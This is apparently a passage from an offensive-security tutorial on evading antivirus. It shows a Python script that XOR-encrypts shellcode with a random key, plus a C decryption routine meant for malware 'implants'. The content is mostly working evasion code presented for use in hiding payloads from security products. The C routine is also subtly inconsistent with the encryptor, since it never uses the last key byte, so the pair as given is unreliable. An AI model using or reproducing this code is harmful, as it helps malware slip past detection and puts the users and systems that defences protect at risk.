Strings are a big indicator of malware and are a big target of most AV's and security products. Here we will make use of encrypting your strings and shellcode to evade detection.
We will use XOR encryption to hide our payloads. I have stolen a xor encryptor script from here:
This takes a shellcode bin file and xor encrypts it with a random key.
import sys
import random
import string
import os
import time
def get_random_string():
# With combination of lower and upper case
length = random.randint(8, 15)
result_str = ''.join(random.choice(string.ascii_letters) for i in range(length))
# print random string
return result_str
def xor(data):
key = get_random_string()
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
output_str += chr(o(current) ^ ord(current_key))
ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in output_str) + ' };'
print(ciphertext)
print(key)
try:
plain = open(sys.argv[1], "rb").read()
except:
print("Failed to read payload file")
xor(plain)
If you pass your file to this script, you should get a key and your encrypted shellcode in a byte array.
To decrypt this, we can use this simple C function in our implants:
void XOR(char* data, size_t data_len, char* key, size_t key_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp
int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) {
j = 0;
}
data[i] = data[i] ^ key[j];
j++;
}
}